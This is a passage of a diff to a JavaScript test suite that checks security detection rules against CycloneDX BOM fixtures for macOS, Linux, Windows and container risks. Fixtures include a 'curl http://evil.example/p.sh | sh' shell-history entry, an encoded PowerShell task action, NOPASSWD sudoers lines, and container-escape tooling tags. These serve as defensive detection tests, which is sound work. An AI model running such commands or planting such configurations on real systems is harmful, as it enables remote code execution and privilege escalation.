purl: "pkg:swid/mac-launchd-bad-agent",
|
|
2790
|
+
"bom-ref": "pkg:swid/mac-launchd-bad-agent",
|
|
1857
2791
|
properties: [
|
|
1858
|
-
{ name: "
|
|
1859
|
-
{ name: "
|
|
1860
|
-
{ name: "
|
|
1861
|
-
{ name: "
|
|
1862
|
-
{
|
|
1863
|
-
name: "cdx:container:riskTags",
|
|
1864
|
-
value: "container-escape,credential-access,offensive-toolkit",
|
|
1865
|
-
},
|
|
1866
|
-
{
|
|
1867
|
-
name: "cdx:container:attackTechniques",
|
|
1868
|
-
value: "T1552.007,T1611,T1613",
|
|
1869
|
-
},
|
|
2792
|
+
{ name: "cdx:osquery:category", value: "launchd_services" },
|
|
2793
|
+
{ name: "path", value: "/tmp/com.bad.agent.plist" },
|
|
2794
|
+
{ name: "program", value: "/tmp/bad-agent" },
|
|
2795
|
+
{ name: "run_at_load", value: "true" },
|
|
1870
2796
|
],
|
|
1871
2797
|
},
|
|
1872
2798
|
]);
|
|
1873
2799
|
|
|
1874
2800
|
const findings = await evaluateRule(rule, bom);
|
|
1875
|
-
assert.ok(findings.length > 0, "Should detect
|
|
1876
|
-
assert.strictEqual(findings[0].severity, "
|
|
2801
|
+
assert.ok(findings.length > 0, "Should detect suspicious launchd service");
|
|
2802
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
1877
2803
|
});
|
|
1878
2804
|
|
|
1879
|
-
it("should detect
|
|
2805
|
+
it("should detect risky macOS ALF user path exception (OBOM-MAC-003)", async () => {
|
|
1880
2806
|
const rules = await loadRules(RULES_DIR);
|
|
1881
|
-
const rule = rules.find((r) => r.id === "
|
|
1882
|
-
assert.ok(rule, "
|
|
2807
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-003");
|
|
2808
|
+
assert.ok(rule, "OBOM-MAC-003 rule should exist");
|
|
1883
2809
|
|
|
1884
2810
|
const bom = makeBom([
|
|
1885
2811
|
{
|
|
1886
|
-
type: "
|
|
1887
|
-
name: "
|
|
1888
|
-
version: "",
|
|
2812
|
+
type: "data",
|
|
2813
|
+
name: "/Users/alice/Downloads/remote-control.app",
|
|
2814
|
+
version: "1",
|
|
1889
2815
|
description: "",
|
|
1890
|
-
purl: "pkg:
|
|
1891
|
-
"bom-ref": "pkg:
|
|
1892
|
-
properties: [
|
|
1893
|
-
{ name: "SrcFile", value: "/usr/bin/nsenter" },
|
|
1894
|
-
{ name: "cdx:container:matched", value: "true" },
|
|
1895
|
-
{ name: "cdx:container:name", value: "nsenter" },
|
|
1896
|
-
{ name: "cdx:container:offenseTools", value: "cdk,deepce" },
|
|
1897
|
-
{
|
|
1898
|
-
name: "cdx:container:riskTags",
|
|
1899
|
-
value: "container-escape,namespace-escape",
|
|
1900
|
-
},
|
|
1901
|
-
{
|
|
1902
|
-
name: "cdx:container:seccompBlockedSyscalls",
|
|
1903
|
-
value: "ptrace,setns,unshare",
|
|
1904
|
-
},
|
|
1905
|
-
{ name: "cdx:container:seccompProfile", value: "docker-default" },
|
|
1906
|
-
],
|
|
2816
|
+
purl: "pkg:swid/mac-alf-exception",
|
|
2817
|
+
"bom-ref": "pkg:swid/mac-alf-exception",
|
|
2818
|
+
properties: [{ name: "cdx:osquery:category", value: "alf_exceptions" }],
|
|
1907
2819
|
},
|
|
1908
2820
|
]);
|
|
1909
2821
|
|
|
1910
2822
|
const findings = await evaluateRule(rule, bom);
|
|
1911
|
-
assert.ok(
|
|
1912
|
-
findings.length > 0,
|
|
1913
|
-
"Should detect seccomp-sensitive escape helper",
|
|
1914
|
-
);
|
|
2823
|
+
assert.ok(findings.length > 0, "Should detect risky ALF exception path");
|
|
1915
2824
|
assert.strictEqual(findings[0].severity, "medium");
|
|
1916
2825
|
});
|
|
1917
2826
|
|
|
1918
|
-
it("should detect
|
|
2827
|
+
it("should detect broad sudoers rule (OBOM-LNX-002)", async () => {
|
|
1919
2828
|
const rules = await loadRules(RULES_DIR);
|
|
1920
|
-
const rule = rules.find((r) => r.id === "OBOM-LNX-
|
|
1921
|
-
assert.ok(rule, "OBOM-LNX-
|
|
2829
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-002");
|
|
2830
|
+
assert.ok(rule, "OBOM-LNX-002 rule should exist");
|
|
1922
2831
|
|
|
1923
2832
|
const bom = makeBom([
|
|
1924
2833
|
{
|
|
1925
|
-
type: "
|
|
1926
|
-
name: "
|
|
1927
|
-
version: "
|
|
2834
|
+
type: "data",
|
|
2835
|
+
name: "admin-policy",
|
|
2836
|
+
version: "",
|
|
2837
|
+
description: "admin ALL=(ALL) NOPASSWD:ALL",
|
|
2838
|
+
purl: "pkg:swid/admin-policy",
|
|
2839
|
+
"bom-ref": "pkg:swid/admin-policy",
|
|
2840
|
+
properties: [
|
|
2841
|
+
{ name: "cdx:osquery:category", value: "sudoers_snapshot" },
|
|
2842
|
+
],
|
|
2843
|
+
},
|
|
2844
|
+
]);
|
|
2845
|
+
|
|
2846
|
+
const findings = await evaluateRule(rule, bom);
|
|
2847
|
+
assert.ok(findings.length > 0, "Should detect broad sudoers policy");
|
|
2848
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
2849
|
+
});
|
|
2850
|
+
|
|
2851
|
+
it("should detect ALL=(ALL) ALL sudoers rule (OBOM-LNX-002)", async () => {
|
|
2852
|
+
const rules = await loadRules(RULES_DIR);
|
|
2853
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-002");
|
|
2854
|
+
assert.ok(rule, "OBOM-LNX-002 rule should exist");
|
|
2855
|
+
|
|
2856
|
+
const bom = makeBom([
|
|
2857
|
+
{
|
|
2858
|
+
type: "data",
|
|
2859
|
+
name: "legacy-admin-policy",
|
|
2860
|
+
version: "",
|
|
2861
|
+
description: "admin ALL=(ALL) ALL",
|
|
2862
|
+
purl: "pkg:swid/legacy-admin-policy",
|
|
2863
|
+
"bom-ref": "pkg:swid/legacy-admin-policy",
|
|
2864
|
+
properties: [
|
|
2865
|
+
{ name: "cdx:osquery:category", value: "sudoers_snapshot" },
|
|
2866
|
+
],
|
|
2867
|
+
},
|
|
2868
|
+
]);
|
|
2869
|
+
|
|
2870
|
+
const findings = await evaluateRule(rule, bom);
|
|
2871
|
+
assert.ok(
|
|
2872
|
+
findings.length > 0,
|
|
2873
|
+
"Should detect ALL=(ALL) ALL sudoers policy",
|
|
2874
|
+
);
|
|
2875
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
2876
|
+
});
|
|
2877
|
+
|
|
2878
|
+
it("should detect suspicious shell history commands (OBOM-LNX-004)", async () => {
|
|
2879
|
+
const rules = await loadRules(RULES_DIR);
|
|
2880
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-004");
|
|
2881
|
+
assert.ok(rule, "OBOM-LNX-004 rule should exist");
|
|
2882
|
+
|
|
2883
|
+
const bom = makeBom([
|
|
2884
|
+
{
|
|
2885
|
+
type: "data",
|
|
2886
|
+
name: "analyst",
|
|
2887
|
+
version: "",
|
|
2888
|
+
description: "curl http://evil.example/p.sh | sh",
|
|
2889
|
+
purl: "pkg:swid/analyst-shell-history",
|
|
2890
|
+
"bom-ref": "pkg:swid/analyst-shell-history",
|
|
2891
|
+
properties: [
|
|
2892
|
+
{ name: "cdx:osquery:category", value: "shell_history_snapshot" },
|
|
2893
|
+
{ name: "history_file", value: "/home/analyst/.bash_history" },
|
|
2894
|
+
],
|
|
2895
|
+
},
|
|
2896
|
+
]);
|
|
2897
|
+
|
|
2898
|
+
const findings = await evaluateRule(rule, bom);
|
|
2899
|
+
assert.ok(findings.length > 0, "Should detect suspicious shell history");
|
|
2900
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
2901
|
+
});
|
|
2902
|
+
|
|
2903
|
+
it("should detect exposed docker daemon API (OBOM-LNX-005)", async () => {
|
|
2904
|
+
const rules = await loadRules(RULES_DIR);
|
|
2905
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-005");
|
|
2906
|
+
assert.ok(rule, "OBOM-LNX-005 rule should exist");
|
|
2907
|
+
|
|
2908
|
+
const bom = makeBom([
|
|
2909
|
+
makeComponent("dockerd", "2375", [
|
|
2910
|
+
["cdx:osquery:category", "listening_ports"],
|
|
2911
|
+
["address", "0.0.0.0"],
|
|
2912
|
+
["port", "2375"],
|
|
2913
|
+
["protocol", "6"],
|
|
2914
|
+
]),
|
|
2915
|
+
]);
|
|
2916
|
+
|
|
2917
|
+
const findings = await evaluateRule(rule, bom);
|
|
2918
|
+
assert.ok(findings.length > 0, "Should detect exposed docker daemon API");
|
|
2919
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
2920
|
+
});
|
|
2921
|
+
|
|
2922
|
+
it("should detect setuid GTFOBins execution primitive (CTR-001)", async () => {
|
|
2923
|
+
const rules = await loadRules(RULES_DIR);
|
|
2924
|
+
const rule = rules.find((r) => r.id === "CTR-001");
|
|
2925
|
+
assert.ok(rule, "CTR-001 rule should exist");
|
|
2926
|
+
|
|
2927
|
+
const bom = makeBom([
|
|
2928
|
+
{
|
|
2929
|
+
type: "file",
|
|
2930
|
+
name: "bash",
|
|
2931
|
+
version: "",
|
|
1928
2932
|
description: "",
|
|
1929
|
-
purl: "pkg:
|
|
1930
|
-
"bom-ref": "pkg:
|
|
2933
|
+
purl: "pkg:generic/bash",
|
|
2934
|
+
"bom-ref": "pkg:generic/bash",
|
|
1931
2935
|
properties: [
|
|
1932
|
-
{ name: "
|
|
1933
|
-
{ name: "
|
|
1934
|
-
{ name: "
|
|
1935
|
-
{ name: "
|
|
1936
|
-
{ name: "
|
|
1937
|
-
{ name: "
|
|
1938
|
-
{
|
|
2936
|
+
{ name: "SrcFile", value: "/bin/bash" },
|
|
2937
|
+
{ name: "internal:has_setuid", value: "true" },
|
|
2938
|
+
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
2939
|
+
{ name: "cdx:gtfobins:name", value: "bash" },
|
|
2940
|
+
{ name: "cdx:gtfobins:functions", value: "shell,command,upload" },
|
|
2941
|
+
{ name: "cdx:gtfobins:contexts", value: "unprivileged,sudo,suid" },
|
|
2942
|
+
{
|
|
2943
|
+
name: "cdx:gtfobins:riskTags",
|
|
2944
|
+
value: "data-exfiltration,lateral-movement,privilege-escalation",
|
|
2945
|
+
},
|
|
2946
|
+
{
|
|
2947
|
+
name: "cdx:gtfobins:reference",
|
|
2948
|
+
value: "https://gtfobins.github.io/gtfobins/bash/",
|
|
2949
|
+
},
|
|
1939
2950
|
],
|
|
1940
2951
|
},
|
|
1941
2952
|
]);
|
|
1942
2953
|
|
|
1943
2954
|
const findings = await evaluateRule(rule, bom);
|
|
1944
|
-
assert.ok(findings.length > 0, "Should detect
|
|
2955
|
+
assert.ok(findings.length > 0, "Should detect setuid GTFOBins primitive");
|
|
2956
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
2957
|
+
});
|
|
2958
|
+
|
|
2959
|
+
it("should detect privileged container-escape helper (CTR-002)", async () => {
|
|
2960
|
+
const rules = await loadRules(RULES_DIR);
|
|
2961
|
+
const rule = rules.find((r) => r.id === "CTR-002");
|
|
2962
|
+
assert.ok(rule, "CTR-002 rule should exist");
|
|
2963
|
+
|
|
2964
|
+
const bom = makeBom([
|
|
2965
|
+
{
|
|
2966
|
+
type: "file",
|
|
2967
|
+
name: "docker",
|
|
2968
|
+
version: "",
|
|
2969
|
+
description: "",
|
|
2970
|
+
purl: "pkg:generic/docker",
|
|
2971
|
+
"bom-ref": "pkg:generic/docker",
|
|
2972
|
+
properties: [
|
|
2973
|
+
{ name: "SrcFile", value: "/usr/bin/docker" },
|
|
2974
|
+
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
2975
|
+
{ name: "cdx:gtfobins:name", value: "docker" },
|
|
2976
|
+
{ name: "cdx:gtfobins:functions", value: "shell,command" },
|
|
2977
|
+
{
|
|
2978
|
+
name: "cdx:gtfobins:privilegedContexts",
|
|
2979
|
+
value: "capabilities",
|
|
2980
|
+
},
|
|
2981
|
+
{ name: "cdx:gtfobins:riskTags", value: "container-escape" },
|
|
2982
|
+
],
|
|
2983
|
+
},
|
|
2984
|
+
]);
|
|
2985
|
+
|
|
2986
|
+
const findings = await evaluateRule(rule, bom);
|
|
2987
|
+
assert.ok(findings.length > 0, "Should detect privileged escape helper");
|
|
2988
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
2989
|
+
});
|
|
2990
|
+
|
|
2991
|
+
it("should detect privileged GTFOBins exfiltration primitive (CTR-004)", async () => {
|
|
2992
|
+
const rules = await loadRules(RULES_DIR);
|
|
2993
|
+
const rule = rules.find((r) => r.id === "CTR-004");
|
|
2994
|
+
assert.ok(rule, "CTR-004 rule should exist");
|
|
2995
|
+
|
|
2996
|
+
const bom = makeBom([
|
|
2997
|
+
{
|
|
2998
|
+
type: "file",
|
|
2999
|
+
name: "bash",
|
|
3000
|
+
version: "",
|
|
3001
|
+
description: "",
|
|
3002
|
+
purl: "pkg:generic/bash",
|
|
3003
|
+
"bom-ref": "pkg:generic/bash",
|
|
3004
|
+
properties: [
|
|
3005
|
+
{ name: "SrcFile", value: "/usr/bin/bash" },
|
|
3006
|
+
{ name: "internal:has_setgid", value: "true" },
|
|
3007
|
+
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
3008
|
+
{ name: "cdx:gtfobins:name", value: "bash" },
|
|
3009
|
+
{ name: "cdx:gtfobins:functions", value: "shell,file-read,upload" },
|
|
3010
|
+
{ name: "cdx:gtfobins:privilegedContexts", value: "suid" },
|
|
3011
|
+
{
|
|
3012
|
+
name: "cdx:gtfobins:riskTags",
|
|
3013
|
+
value: "data-exfiltration,privilege-escalation",
|
|
3014
|
+
},
|
|
3015
|
+
],
|
|
3016
|
+
},
|
|
3017
|
+
]);
|
|
3018
|
+
|
|
3019
|
+
const findings = await evaluateRule(rule, bom);
|
|
3020
|
+
assert.ok(
|
|
3021
|
+
findings.length > 0,
|
|
3022
|
+
"Should detect privileged GTFOBins exfiltration helper",
|
|
3023
|
+
);
|
|
1945
3024
|
assert.strictEqual(findings[0].severity, "high");
|
|
1946
3025
|
});
|
|
1947
3026
|
|
|
1948
|
-
it("should detect
|
|
3027
|
+
it("should detect privileged GTFOBins library-load primitive (CTR-003)", async () => {
|
|
1949
3028
|
const rules = await loadRules(RULES_DIR);
|
|
1950
|
-
const rule = rules.find((r) => r.id === "
|
|
1951
|
-
assert.ok(rule, "
|
|
3029
|
+
const rule = rules.find((r) => r.id === "CTR-003");
|
|
3030
|
+
assert.ok(rule, "CTR-003 rule should exist");
|
|
1952
3031
|
|
|
1953
3032
|
const bom = makeBom([
|
|
1954
3033
|
{
|
|
1955
|
-
type: "
|
|
1956
|
-
name: "
|
|
1957
|
-
version: "
|
|
3034
|
+
type: "file",
|
|
3035
|
+
name: "bash",
|
|
3036
|
+
version: "",
|
|
1958
3037
|
description: "",
|
|
1959
|
-
purl: "pkg:
|
|
1960
|
-
"bom-ref": "pkg:
|
|
3038
|
+
purl: "pkg:generic/bash",
|
|
3039
|
+
"bom-ref": "pkg:generic/bash",
|
|
1961
3040
|
properties: [
|
|
1962
|
-
{ name: "
|
|
1963
|
-
{ name: "
|
|
1964
|
-
{ name: "
|
|
1965
|
-
{ name: "login_user", value: "analyst" },
|
|
1966
|
-
{ name: "effective_user", value: "root" },
|
|
1967
|
-
{ name: "path", value: "/usr/bin/sudo" },
|
|
3041
|
+
{ name: "SrcFile", value: "/bin/bash" },
|
|
3042
|
+
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
3043
|
+
{ name: "cdx:gtfobins:name", value: "bash" },
|
|
1968
3044
|
{
|
|
1969
|
-
name: "
|
|
1970
|
-
value: "
|
|
3045
|
+
name: "cdx:gtfobins:functions",
|
|
3046
|
+
value: "shell,library-load,privilege-escalation",
|
|
3047
|
+
},
|
|
3048
|
+
{
|
|
3049
|
+
name: "cdx:gtfobins:privilegedContexts",
|
|
3050
|
+
value: "sudo,suid",
|
|
1971
3051
|
},
|
|
1972
|
-
{ name: "parent_cmdline", value: "/bin/bash" },
|
|
1973
|
-
{ name: "time", value: "1714212000" },
|
|
1974
3052
|
],
|
|
1975
3053
|
},
|
|
1976
3054
|
]);
|
|
1977
3055
|
|
|
1978
3056
|
const findings = await evaluateRule(rule, bom);
|
|
1979
3057
|
assert.ok(
|
|
1980
|
-
findings.length > 0,
|
|
1981
|
-
"Should detect
|
|
3058
|
+
findings.length > 0,
|
|
3059
|
+
"Should detect privileged GTFOBins library-load helper",
|
|
3060
|
+
);
|
|
3061
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
3062
|
+
});
|
|
3063
|
+
|
|
3064
|
+
it("should detect mutable-path GTFOBins remote execution helper (CTR-005)", async () => {
|
|
3065
|
+
const rules = await loadRules(RULES_DIR);
|
|
3066
|
+
const rule = rules.find((r) => r.id === "CTR-005");
|
|
3067
|
+
assert.ok(rule, "CTR-005 rule should exist");
|
|
3068
|
+
|
|
3069
|
+
const bom = makeBom([
|
|
3070
|
+
{
|
|
3071
|
+
type: "file",
|
|
3072
|
+
name: "bash",
|
|
3073
|
+
version: "",
|
|
3074
|
+
description: "",
|
|
3075
|
+
purl: "pkg:generic/bash",
|
|
3076
|
+
"bom-ref": "pkg:generic/bash",
|
|
3077
|
+
properties: [
|
|
3078
|
+
{ name: "SrcFile", value: "/usr/local/bin/bash" },
|
|
3079
|
+
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
3080
|
+
{ name: "cdx:gtfobins:name", value: "bash" },
|
|
3081
|
+
{ name: "cdx:gtfobins:functions", value: "shell,upload,download" },
|
|
3082
|
+
{
|
|
3083
|
+
name: "cdx:gtfobins:riskTags",
|
|
3084
|
+
value: "data-exfiltration,lateral-movement",
|
|
3085
|
+
},
|
|
3086
|
+
],
|
|
3087
|
+
},
|
|
3088
|
+
]);
|
|
3089
|
+
|
|
3090
|
+
const findings = await evaluateRule(rule, bom);
|
|
3091
|
+
assert.ok(
|
|
3092
|
+
findings.length > 0,
|
|
3093
|
+
"Should detect mutable-path GTFOBins helper",
|
|
3094
|
+
);
|
|
3095
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
3096
|
+
});
|
|
3097
|
+
|
|
3098
|
+
it("should detect dedicated offensive container toolkits (CTR-006)", async () => {
|
|
3099
|
+
const rules = await loadRules(RULES_DIR);
|
|
3100
|
+
const rule = rules.find((r) => r.id === "CTR-006");
|
|
3101
|
+
assert.ok(rule, "CTR-006 rule should exist");
|
|
3102
|
+
|
|
3103
|
+
const bom = makeBom([
|
|
3104
|
+
{
|
|
3105
|
+
type: "file",
|
|
3106
|
+
name: "deepce",
|
|
3107
|
+
version: "",
|
|
3108
|
+
description: "",
|
|
3109
|
+
purl: "pkg:generic/deepce",
|
|
3110
|
+
"bom-ref": "pkg:generic/deepce",
|
|
3111
|
+
properties: [
|
|
3112
|
+
{ name: "SrcFile", value: "/usr/local/bin/deepce" },
|
|
3113
|
+
{ name: "cdx:container:matched", value: "true" },
|
|
3114
|
+
{ name: "cdx:container:name", value: "deepce" },
|
|
3115
|
+
{ name: "cdx:container:offenseTools", value: "deepce" },
|
|
3116
|
+
{
|
|
3117
|
+
name: "cdx:container:riskTags",
|
|
3118
|
+
value: "container-escape,credential-access,offensive-toolkit",
|
|
3119
|
+
},
|
|
3120
|
+
{
|
|
3121
|
+
name: "cdx:container:attackTechniques",
|
|
3122
|
+
value: "T1552.007,T1611,T1613",
|
|
3123
|
+
},
|
|
3124
|
+
],
|
|
3125
|
+
},
|
|
3126
|
+
]);
|
|
3127
|
+
|
|
3128
|
+
const findings = await evaluateRule(rule, bom);
|
|
3129
|
+
assert.ok(findings.length > 0, "Should detect offensive toolkit presence");
|
|
3130
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
3131
|
+
});
|
|
3132
|
+
|
|
3133
|
+
it("should detect seccomp-sensitive namespace escape helpers (CTR-007)", async () => {
|
|
3134
|
+
const rules = await loadRules(RULES_DIR);
|
|
3135
|
+
const rule = rules.find((r) => r.id === "CTR-007");
|
|
3136
|
+
assert.ok(rule, "CTR-007 rule should exist");
|
|
3137
|
+
|
|
3138
|
+
const bom = makeBom([
|
|
3139
|
+
{
|
|
3140
|
+
type: "file",
|
|
3141
|
+
name: "nsenter",
|
|
3142
|
+
version: "",
|
|
3143
|
+
description: "",
|
|
3144
|
+
purl: "pkg:generic/nsenter",
|
|
3145
|
+
"bom-ref": "pkg:generic/nsenter",
|
|
3146
|
+
properties: [
|
|
3147
|
+
{ name: "SrcFile", value: "/usr/bin/nsenter" },
|
|
3148
|
+
{ name: "cdx:container:matched", value: "true" },
|
|
3149
|
+
{ name: "cdx:container:name", value: "nsenter" },
|
|
3150
|
+
{ name: "cdx:container:offenseTools", value: "cdk,deepce" },
|
|
3151
|
+
{
|
|
3152
|
+
name: "cdx:container:riskTags",
|
|
3153
|
+
value: "container-escape,namespace-escape",
|
|
3154
|
+
},
|
|
3155
|
+
{
|
|
3156
|
+
name: "cdx:container:seccompBlockedSyscalls",
|
|
3157
|
+
value: "ptrace,setns,unshare",
|
|
3158
|
+
},
|
|
3159
|
+
{ name: "cdx:container:seccompProfile", value: "docker-default" },
|
|
3160
|
+
],
|
|
3161
|
+
},
|
|
3162
|
+
]);
|
|
3163
|
+
|
|
3164
|
+
const findings = await evaluateRule(rule, bom);
|
|
3165
|
+
assert.ok(
|
|
3166
|
+
findings.length > 0,
|
|
3167
|
+
"Should detect seccomp-sensitive escape helper",
|
|
3168
|
+
);
|
|
3169
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
3170
|
+
});
|
|
3171
|
+
|
|
3172
|
+
it("should detect privileged listener exposed on all interfaces (OBOM-LNX-006)", async () => {
|
|
3173
|
+
const rules = await loadRules(RULES_DIR);
|
|
3174
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-006");
|
|
3175
|
+
assert.ok(rule, "OBOM-LNX-006 rule should exist");
|
|
3176
|
+
|
|
3177
|
+
const bom = makeBom([
|
|
3178
|
+
{
|
|
3179
|
+
type: "application",
|
|
3180
|
+
name: "cockpit-ws",
|
|
3181
|
+
version: "9090",
|
|
3182
|
+
description: "",
|
|
3183
|
+
purl: "pkg:swid/cockpit-ws@9090",
|
|
3184
|
+
"bom-ref": "pkg:swid/cockpit-ws@9090",
|
|
3185
|
+
properties: [
|
|
3186
|
+
{ name: "cdx:osquery:category", value: "privileged_listening_ports" },
|
|
3187
|
+
{ name: "account", value: "root" },
|
|
3188
|
+
{ name: "address", value: "0.0.0.0" },
|
|
3189
|
+
{ name: "port", value: "9090" },
|
|
3190
|
+
{ name: "path", value: "/usr/libexec/cockpit-ws" },
|
|
3191
|
+
{ name: "service_unit", value: "cockpit.socket" },
|
|
3192
|
+
{ name: "package_source_hint", value: "system-package-path" },
|
|
3193
|
+
],
|
|
3194
|
+
},
|
|
3195
|
+
]);
|
|
3196
|
+
|
|
3197
|
+
const findings = await evaluateRule(rule, bom);
|
|
3198
|
+
assert.ok(findings.length > 0, "Should detect privileged listener risk");
|
|
3199
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
3200
|
+
});
|
|
3201
|
+
|
|
3202
|
+
it("should detect interactive sudo execution of package tooling (OBOM-LNX-008)", async () => {
|
|
3203
|
+
const rules = await loadRules(RULES_DIR);
|
|
3204
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-008");
|
|
3205
|
+
assert.ok(rule, "OBOM-LNX-008 rule should exist");
|
|
3206
|
+
|
|
3207
|
+
const bom = makeBom([
|
|
3208
|
+
{
|
|
3209
|
+
type: "application",
|
|
3210
|
+
name: "sudo",
|
|
3211
|
+
version: "4242",
|
|
3212
|
+
description: "",
|
|
3213
|
+
purl: "pkg:swid/sudo@4242",
|
|
3214
|
+
"bom-ref": "pkg:swid/sudo@4242",
|
|
3215
|
+
properties: [
|
|
3216
|
+
{ name: "cdx:osquery:category", value: "sudo_executions" },
|
|
3217
|
+
{ name: "auid", value: "1000" },
|
|
3218
|
+
{ name: "euid", value: "0" },
|
|
3219
|
+
{ name: "login_user", value: "analyst" },
|
|
3220
|
+
{ name: "effective_user", value: "root" },
|
|
3221
|
+
{ name: "path", value: "/usr/bin/sudo" },
|
|
3222
|
+
{
|
|
3223
|
+
name: "cmdline",
|
|
3224
|
+
value: "sudo pkcon refresh force",
|
|
3225
|
+
},
|
|
3226
|
+
{ name: "parent_cmdline", value: "/bin/bash" },
|
|
3227
|
+
{ name: "time", value: "1714212000" },
|
|
3228
|
+
],
|
|
3229
|
+
},
|
|
3230
|
+
]);
|
|
3231
|
+
|
|
3232
|
+
const findings = await evaluateRule(rule, bom);
|
|
3233
|
+
assert.ok(
|
|
3234
|
+
findings.length > 0,
|
|
3235
|
+
"Should detect interactive privileged package tooling",
|
|
3236
|
+
);
|
|
3237
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
3238
|
+
});
|
|
3239
|
+
|
|
3240
|
+
it("should detect unexpected privilege transition (OBOM-LNX-009)", async () => {
|
|
3241
|
+
const rules = await loadRules(RULES_DIR);
|
|
3242
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-009");
|
|
3243
|
+
assert.ok(rule, "OBOM-LNX-009 rule should exist");
|
|
3244
|
+
|
|
3245
|
+
const bom = makeBom([
|
|
3246
|
+
{
|
|
3247
|
+
type: "application",
|
|
3248
|
+
name: "packagekit-helper",
|
|
3249
|
+
version: "2121",
|
|
3250
|
+
description: "",
|
|
3251
|
+
purl: "pkg:swid/packagekit-helper@2121",
|
|
3252
|
+
"bom-ref": "pkg:swid/packagekit-helper@2121",
|
|
3253
|
+
properties: [
|
|
3254
|
+
{ name: "cdx:osquery:category", value: "privilege_transitions" },
|
|
3255
|
+
{ name: "auid", value: "1000" },
|
|
3256
|
+
{ name: "uid", value: "1000" },
|
|
3257
|
+
{ name: "euid", value: "0" },
|
|
3258
|
+
{ name: "gid", value: "1000" },
|
|
3259
|
+
{ name: "egid", value: "0" },
|
|
3260
|
+
{ name: "login_user", value: "analyst" },
|
|
3261
|
+
{ name: "path", value: "/usr/libexec/packagekit-direct" },
|
|
3262
|
+
{
|
|
3263
|
+
name: "cmdline",
|
|
3264
|
+
value: "/usr/libexec/packagekit-direct --repair",
|
|
3265
|
+
},
|
|
3266
|
+
{ name: "parent_cmdline", value: "/bin/bash" },
|
|
3267
|
+
{ name: "package_source_hint", value: "unclassified-path" },
|
|
3268
|
+
],
|
|
3269
|
+
},
|
|
3270
|
+
]);
|
|
3271
|
+
|
|
3272
|
+
const findings = await evaluateRule(rule, bom);
|
|
3273
|
+
assert.ok(
|
|
3274
|
+
findings.length > 0,
|
|
3275
|
+
"Should detect unexpected privilege transition",
|
|
3276
|
+
);
|
|
3277
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
3278
|
+
});
|
|
3279
|
+
|
|
3280
|
+
it("should detect hidden suspicious Windows scheduled task (OBOM-WIN-004)", async () => {
|
|
3281
|
+
const rules = await loadRules(RULES_DIR);
|
|
3282
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-004");
|
|
3283
|
+
assert.ok(rule, "OBOM-WIN-004 rule should exist");
|
|
3284
|
+
|
|
3285
|
+
const bom = makeBom([
|
|
3286
|
+
{
|
|
3287
|
+
type: "data",
|
|
3288
|
+
name: "WindowsUpdateTask",
|
|
3289
|
+
version: "",
|
|
3290
|
+
description: "",
|
|
3291
|
+
purl: "pkg:swid/windows-task",
|
|
3292
|
+
"bom-ref": "pkg:swid/windows-task",
|
|
3293
|
+
properties: [
|
|
3294
|
+
{ name: "cdx:osquery:category", value: "scheduled_tasks" },
|
|
3295
|
+
{ name: "enabled", value: "1" },
|
|
3296
|
+
{ name: "hidden", value: "1" },
|
|
3297
|
+
{ name: "path", value: "C:\\Users\\Public\\Temp\\u.exe" },
|
|
3298
|
+
{
|
|
3299
|
+
name: "action",
|
|
3300
|
+
value: "powershell -enc SQBFAFgAIAAoAEkAbgB2AG8AawBlACkA",
|
|
3301
|
+
},
|
|
3302
|
+
],
|
|
3303
|
+
},
|
|
3304
|
+
]);
|
|
3305
|
+
|
|
3306
|
+
const findings = await evaluateRule(rule, bom);
|
|
3307
|
+
assert.ok(findings.length > 0, "Should detect suspicious hidden task");
|
|
3308
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
3309
|
+
});
|
|
3310
|
+
|
|
3311
|
+
it("should detect auto-start service in user-writable path (OBOM-WIN-005)", async () => {
|
|
3312
|
+
const rules = await loadRules(RULES_DIR);
|
|
3313
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-005");
|
|
3314
|
+
assert.ok(rule, "OBOM-WIN-005 rule should exist");
|
|
3315
|
+
|
|
3316
|
+
const bom = makeBom([
|
|
3317
|
+
{
|
|
3318
|
+
type: "data",
|
|
3319
|
+
name: "EvilAutoStartService",
|
|
3320
|
+
version: "",
|
|
3321
|
+
description: "",
|
|
3322
|
+
purl: "pkg:swid/windows-service-evil",
|
|
3323
|
+
"bom-ref": "pkg:swid/windows-service-evil",
|
|
3324
|
+
properties: [
|
|
3325
|
+
{ name: "cdx:osquery:category", value: "services_snapshot" },
|
|
3326
|
+
{ name: "start_type", value: "AUTO_START" },
|
|
3327
|
+
{
|
|
3328
|
+
name: "path",
|
|
3329
|
+
value:
|
|
3330
|
+
"C:\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\evil.exe",
|
|
3331
|
+
},
|
|
3332
|
+
],
|
|
3333
|
+
},
|
|
3334
|
+
]);
|
|
3335
|
+
|
|
3336
|
+
const findings = await evaluateRule(rule, bom);
|
|
3337
|
+
assert.ok(findings.length > 0, "Should detect auto-start service risk");
|
|
3338
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
3339
|
+
});
|
|
3340
|
+
|
|
3341
|
+
